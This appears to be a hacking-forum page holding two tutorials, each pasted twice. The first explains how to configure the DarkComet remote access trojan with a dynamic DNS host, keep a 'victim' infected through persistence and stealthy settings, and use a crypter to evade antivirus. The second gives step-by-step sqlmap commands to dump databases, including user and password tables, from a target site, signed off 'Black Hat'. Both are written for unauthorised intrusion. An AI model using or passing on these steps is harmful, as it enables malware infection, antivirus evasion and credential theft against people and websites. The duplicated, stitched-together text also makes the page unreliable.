How to setup Dark Comet 5.3.1

How to setup Dark Comet 5.3.1

DARK COMET RAT SETUP

Hello fellow user's of HF this is my first contribution to the HF Community even though this has probably been posted 10,000 times its how i use/setup my rat successful so lets get started.

I will be showing you a way to set up Dark comet.

So now you need to go download Dark Comet 5.3.1

No-Ip Set-Up & Dark Comet

Firstly go to No-Ip and make an account.

Now once you log in you will come to this screen

Spoiler (Click to Hide)

Then Press "Add Host" Now you need to fill this screen in:

Spoiler (Click to Hide)

Then select add host.

Now download the No-Ip Client which can be found on the website your currently on.

Now you must decide what port you would like to use.
It doesn't really matter i dont think but pick a number between 1000-1500.

Then when you have dark comet loaded go to socks/net tab then right click the top box and press "add port to listen" Example:

Spoiler (Click to Hide)

I will not go through the port forwarding part due to the fact i don't have this issue as my dark comet automatically opens the ports for me which follows for most people.

But if you want to see if you get this luxury like me just turn on no-ip client and open dark comet then go to http://www.canyouseeme.org type the port you picked in the following step.

If it says "Success: I can see your service on (IP) on port (1384)
Your ISP is not blocking port (your picked port)

Your good to go but if it says:

"Error: I could not see your service on (IP) on port (Port)
Reason: Connection timed out"

Then look for a port forwarding tutorial which there's loads on HF.

Now before you create your Rat server go to your no-ip client then press edit host's and make sure the host we created in previous steps on no-ip.org is selected so when its all correct it should look like this:

Spoiler (Click to Hide)

(Cant show full screen as it has my email/ip address)

Now go to dark comet and press the dark comet button in top left.
Then hover over server module then press full editor. (small editor works but i like having full control over my settings).

Go through each tab and select all the settings you would like but MAKE SURE you have these options done.

on main settings press random multiple times on the process mutex

Spoiler (Click to Hide)

Network settings fill in the no-ip host we made then press add.

Now that's the main setup done.

Just go through each setting tab and select what you prefer but remember making your rat disabling things like task manager ect makes it suspicious so i suggest to keep your slave/victim longer just leave unticked but make sure you tick persistent come back.

Now that's it.

But i HUGELY suggest you buy a FUD Crypter (Fully undetectable crypter) basically stop's security programs detecting it as a virus so people remove before you get access.

And that is pretty much it.

How to setup Dark Comet 5.3.1

How to setup Dark Comet 5.3.1

DARK COMET RAT SETUP

Hello fellow user's of HF this is my first contribution to the HF Community even though this has probably been posted 10,000 times its how i use/setup my rat successful so lets get started.

I will be showing you a way to set up Dark comet.

So now you need to go download Dark Comet 5.3.1

No-Ip Set-Up & Dark Comet

Firstly go to No-Ip and make an account.

Now once you log in you will come to this screen

Spoiler (Click to Hide)

Then Press "Add Host" Now you need to fill this screen in:

Spoiler (Click to Hide)

Then select add host.

Now download the No-Ip Client which can be found on the website your currently on.

Now you must decide what port you would like to use.
It doesn't really matter i dont think but pick a number between 1000-1500.

Then when you have dark comet loaded go to socks/net tab then right click the top box and press "add port to listen" Example:

Spoiler (Click to Hide)

I will not go through the port forwarding part due to the fact i don't have this issue as my dark comet automatically opens the ports for me which follows for most people.

But if you want to see if you get this luxury like me just turn on no-ip client and open dark comet then go to http://www.canyouseeme.org type the port you picked in the following step.

If it says "Success: I can see your service on (IP) on port (1384)
Your ISP is not blocking port (your picked port)

Your good to go but if it says:

"Error: I could not see your service on (IP) on port (Port)
Reason: Connection timed out"

Then look for a port forwarding tutorial which there's loads on HF.

Now before you create your Rat server go to your no-ip client then press edit host's and make sure the host we created in previous steps on no-ip.org is selected so when its all correct it should look like this:

Spoiler (Click to Hide)

(Cant show full screen as it has my email/ip address)

Now go to dark comet and press the dark comet button in top left.
Then hover over server module then press full editor. (small editor works but i like having full control over my settings).

Go through each tab and select all the settings you would like but MAKE SURE you have these options done.

on main settings press random multiple times on the process mutex

Spoiler (Click to Hide)

Network settings fill in the no-ip host we made then press add.

Now that's the main setup done.

Just go through each setting tab and select what you prefer but remember making your rat disabling things like task manager ect makes it suspicious so i suggest to keep your slave/victim longer just leave unticked but make sure you tick persistent come back.

Now that's it.

But i HUGELY suggest you buy a FUD Crypter (Fully undetectable crypter) basically stop's security programs detecting it as a virus so people remove before you get access.

And that is pretty much it.

Website Hacking: SQL Injection With Backtrack 5

         Website Hacking: SQL Injection With Backtrack 5


To start off I would like to explain what SQL Injection Attack are,

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
(www.http://en.wikipedia.org)

I would also like to add that, I dont use Backtrack to perform SQL injection attacks, but I know how to, so I figured I would put a tutorial up on it.

Ok to start off you are going to need Backtrack, here is a video tutorial on installing it
Installing Backtrack 5 on Windows

Once installed you will need to navigate to
Exploitation Tools > Web Exploitation Tools > sqlmap
Once clicked a console like window will appear you will then need to type the following code

Code:
python.py -u http://sitename.com/dorkhere?id=32 --dbs
This code will make backtrack scan your site

Once done you should see multiple database names, you will then need to type

Code:
python.py -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere --Tables
This will then collect the tables from that database, once done you should have a list of all the tables from that database, you should try and choose a table that is something like users,pwd,passwords,members,admin, you will now need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T TableNameHere --columns
This will then gather all the columns form that table

You should be able to see a list of columns, yet again you need to look out for something like users,pwd,passwords,members,admin, you will then need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T allowed -c columnName --dump







You will then get the information that you wanted,
Thanks for reading, I really hope this tutorial has helped you Black Hat
Note: SqlMap and backtrack overall does leave logs, so watch out for what sites you try and hack

Website Hacking: SQL Injection With Backtrack 5

         Website Hacking: SQL Injection With Backtrack 5


To start off I would like to explain what SQL Injection Attack are,

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
(www.http://en.wikipedia.org)

I would also like to add that, I dont use Backtrack to perform SQL injection attacks, but I know how to, so I figured I would put a tutorial up on it.

Ok to start off you are going to need Backtrack, here is a video tutorial on installing it
Installing Backtrack 5 on Windows

Once installed you will need to navigate to
Exploitation Tools > Web Exploitation Tools > sqlmap
Once clicked a console like window will appear you will then need to type the following code

Code:
python.py -u http://sitename.com/dorkhere?id=32 --dbs
This code will make backtrack scan your site

Once done you should see multiple database names, you will then need to type

Code:
python.py -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere --Tables
This will then collect the tables from that database, once done you should have a list of all the tables from that database, you should try and choose a table that is something like users,pwd,passwords,members,admin, you will now need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T TableNameHere --columns
This will then gather all the columns form that table

You should be able to see a list of columns, yet again you need to look out for something like users,pwd,passwords,members,admin, you will then need to type this code in

Code:
python.py sqlmap -u http://sitename.com/dorkhere?id=32 -D DatebaseNameHere -T allowed -c columnName --dump







You will then get the information that you wanted,
Thanks for reading, I really hope this tutorial has helped you Black Hat
Note: SqlMap and backtrack overall does leave logs, so watch out for what sites you try and hack